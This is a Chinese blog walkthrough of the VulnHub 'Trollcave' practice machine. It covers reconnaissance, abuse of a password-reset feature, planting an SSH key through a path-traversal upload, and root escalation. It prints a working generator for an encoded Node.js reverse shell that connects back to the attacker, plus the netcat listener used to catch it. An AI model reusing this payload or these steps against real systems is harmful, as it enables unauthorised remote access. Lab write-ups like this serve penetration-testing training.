渗透测试之靶机试炼(八)

靶机简介

靶机地址:
https://download.vulnhub.com/trollcave/trollcave-v1-2.ova.torrent

运行环境:
VirtualBox

攻击测试机环境
kali
win 10

工具简介

nmap
dirb
python
nc

靶机网卡设置

三台虚拟主机在同一局域网即可
作者这里直接将靶机桥接到win 10 和kali虚拟机所在网段。
渗透测试之靶机试炼(八)_第1张图片

信息收集

nmap寻找目标ip
命令:nmap 10.211.55.0/24
渗透测试之靶机试炼(八)_第2张图片常规访问80端口
渗透测试之靶机试炼(八)_第3张图片存在登录和注册,但是注册功能关闭了,在登录窗口尝试了爆破,注入等,均未成功。我们使用dirb扫描一下目录
渗透测试之靶机试炼(八)_第4张图片访问找到的url,都进行了跳转,需要登录
这里我们只能继续信息收集
发现主页一篇名为password reset的文章
渗透测试之靶机试炼(八)_第5张图片这是一篇管理人员发布的文章 主要内容就是说添加了一个密码重置的方法,根据提示我们访问password_resets这里目录
渗透测试之靶机试炼(八)_第6张图片并没有打开,这让我感到怀疑,没办法只好继续信息收集,过了好久,也没找到什么有用的,又回到这里,查询了许多资料才知道ruby的resetpassword,参考ruby on rails的教程
https://www.railstutorial.org/book/password_reset#sec-password_resets_resource
渗透测试之靶机试炼(八)_第7张图片访问http://10.211.55.33/password_resets/new
渗透测试之靶机试炼(八)_第8张图片尝试重置admin密码失败,有常识页面上给的账户xer,返回如下
渗透测试之靶机试炼(八)_第9张图片访问给的url:http://10.211.55.33/password_resets/edit.qZrbU3WDeexVqjk9_uJjTw?name=xer
渗透测试之靶机试炼(八)_第10张图片输入密码进行重置
渗透测试之靶机试炼(八)_第11张图片我们发现一个文件管理功能
渗透测试之靶机试炼(八)_第12张图片这里能上传文件,由于是ruby写的,所以不能上传木马,这里我们选择直接上传ssh公钥
首先本地生成ssh公钥
渗透测试之靶机试炼(八)_第13张图片将其id_rsa.pub上传至/home/用户/.ssh/authorized_keys下
上传几次均失败,我们这里在Users选项内找到许多用户,我们将其能重置密码的都进行重置密码,登录查看,最后发现在King用户下多一个amdin panel 选项,其内容是文件上传的配置,我们进行配置
渗透测试之靶机试炼(八)_第14张图片之后再进行上传,还是没有成功,最后继续查看其它文件,最后在home下看到一片文章
渗透测试之靶机试炼(八)_第15张图片发现用户rails,经过测试,只有在rails用户下存在.ssh目录,意味着只有这个用户能够进行公钥登录,那么我们将公钥传至该用户的.ssh目录下/home/rails/.ssh/authorized_keys
渗透测试之靶机试炼(八)_第16张图片这由于我们不知当前在哪个目录下,所以选择利用跨目录从根目录进行写入文件,上传成功后,我们进行登录(这里由于作者电脑问题,靶机ip变为10.211.55.35)
渗透测试之靶机试炼(八)_第17张图片一圈

提权

获取到目标服务器shell,利用python获取交互式shell
命令:python -c ‘import pty; pty.spawn("/bin/bash")’
继续进行信息收集,在king用户目录下发现一个文件calc/calc.js
渗透测试之靶机试炼(八)_第18张图片通过查看其源码,发现其有命令执行漏洞,这里我们在网上找了一个生成paylaod的脚本文件
#!/usr/bin/python
import sys

if len(sys.argv) != 3:
print "Usage: %s " % (sys.argv[0])
sys.exit(0)

IP_ADDR = sys.argv[1]
PORT = sys.argv[2]

def charencode(string):
“”“String.CharCode”""
encoded = ‘’
for char in string:
encoded = encoded + “,” + str(ord(char))
return encoded[1:]

print “[+] LHOST = %s” % (IP_ADDR)
print “[+] LPORT = %s” % (PORT)
NODEJS_REV_SHELL = ‘’’(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? “cmd” : “/bin/sh”; var net = require(“net”), cp = require(“child_process”), util = require(“util”), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(%s, “%s”, function() { client.socket.pipe(sh.stdin); if (typeof util.pump === “undefined”) { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(“error”, function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();1+1;’’’ % (PORT, IP_ADDR)
print “[+] Encoding”
PAYLOAD = charencode(NODEJS_REV_SHELL)
print “eval(String.fromCharCode(%s))” % (PAYLOAD)
带有参数 ip和port,运行结果如图
渗透测试之靶机试炼(八)_第19张图片利用得到的shell和命令执行漏洞,执行payload
首先在攻击机上使用nc监听1234端口
命令:nc -lvp 1234
在这里插入图片描述利用shell执行paylaod
渗透测试之靶机试炼(八)_第20张图片获取到shell,权限为king
渗透测试之靶机试炼(八)_第21张图片获取交互式shell,执行sudo -l 发现没有密码,可以直接使用sudo提权
执行 sudo bash
渗透测试之靶机试炼(八)_第22张图片获取root权限

写这篇文章学到了好多知识。坚持就是胜利,加油。

你可能感兴趣的:(靶机试炼)